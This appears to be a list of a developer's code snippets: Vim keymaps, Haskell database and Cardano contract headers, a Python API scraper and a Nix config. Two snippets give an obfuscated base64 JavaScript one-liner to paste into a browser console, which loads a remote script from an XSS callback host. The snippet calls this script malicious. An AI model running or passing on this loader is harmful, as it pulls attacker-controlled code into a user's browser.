ahaxu

" In insert or command mode, move normally by using Ctrl
inoremap <C-h> <Left>
inoremap <C-j> <Down>
inoremap <C-k> <Up>
inoremap <C-l> <Right>
cnoremap <C-h> <Left>
cnoremap <C-j> <Down>
cnoremap <C-k> <Up>
cnoremap <C-l> <Right>

ahaxu

import           Database.PostgreSQL.Simple
import           System.Environment
import  Database.PostgreSQL.Simple.Options

getDBConn :: IO Connection
getDBConn = do
  -- get db info
  hostName <- getEnv "DB_HOST"
  dbName <- getEnv "DB_NAME"
  userName <- getEnv "DB_USER"

ahaxu

import requests

page_size = 100
url = "https://api.uprace.vn/api/event/rank/list"

# trid change every year
trid = "14528302-d536-499b-99d0-794439d97392"
# trtm change every year
trtm = 1668965123
# get from payload of url api above

ahaxu

Hãy chạy đoạn js này trong js console

> atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZDB4NS54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7')

> 'var a=document.createElement("script");a.src="https://d0x5.xss.ht";document.body.appendChild(a);'

một vài browser hiện đại thì đã chặn việc chạy các đoạn mã độc như trên

ahaxu

run this in js repl

> atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZDB4NS54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7')

> 'var a=document.createElement("script");a.src="https://d0x5.xss.ht";document.body.appendChild(a);'

but some modern browser prevent to exec malicious script like above

ahaxu

# Huong dan su dung ^^
# 
# echo "XXX" | xargs -I$ python vietstock.py $ 0.01 1 1 $TELEGRAM_ID
#

import requests
import sys
import logging
import sys
import time

ahaxu

# /etc/nix/nix.conf
substituters        = https://hydra.iohk.io https://iohk.cachix.org https://cache.nixos.org/
trusted-public-keys = hydra.iohk.io:f/Ea+s+dFdN+3Y/G+FDgSq+a5NEWhJGzdjvKNGv0/EQ= iohk.cachix.org-1:DpRUyj7h7V830dp/i6Nti+NEO2/nhblbov/8MW7Rqoo= cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=

experimental-features = nix-command flakes

ahaxu

{-# LANGUAGE DataKinds             #-}
{-# LANGUAGE NoImplicitPrelude     #-}
{-# LANGUAGE OverloadedStrings     #-}
{-# LANGUAGE ScopedTypeVariables   #-}
{-# LANGUAGE NumericUnderscores    #-}
{-# LANGUAGE TypeApplications      #-}
{-# LANGUAGE TypeFamilies          #-}

module Contracts.TestXVesting(test) where

ahaxu

{-# LANGUAGE DataKinds             #-}
{-# LANGUAGE DeriveAnyClass        #-}
{-# LANGUAGE DeriveGeneric         #-}
{-# LANGUAGE FlexibleContexts      #-}
{-# LANGUAGE MultiParamTypeClasses #-}
{-# LANGUAGE NoImplicitPrelude     #-}
{-# LANGUAGE OverloadedStrings     #-}
{-# LANGUAGE ScopedTypeVariables   #-}
{-# LANGUAGE TemplateHaskell       #-}
{-# LANGUAGE TypeApplications      #-}

ahaxu

-- copy from https://cardano.stackexchange.com/questions/7175/updating-counter-on-the-extended-utxo
-- for learning purpose

{-# LANGUAGE DataKinds             #-}
{-# LANGUAGE DeriveAnyClass        #-}
{-# LANGUAGE DeriveGeneric         #-}
{-# LANGUAGE FlexibleContexts      #-}
{-# LANGUAGE NoImplicitPrelude     #-}
{-# LANGUAGE OverloadedStrings     #-}
{-# LANGUAGE ScopedTypeVariables   #-}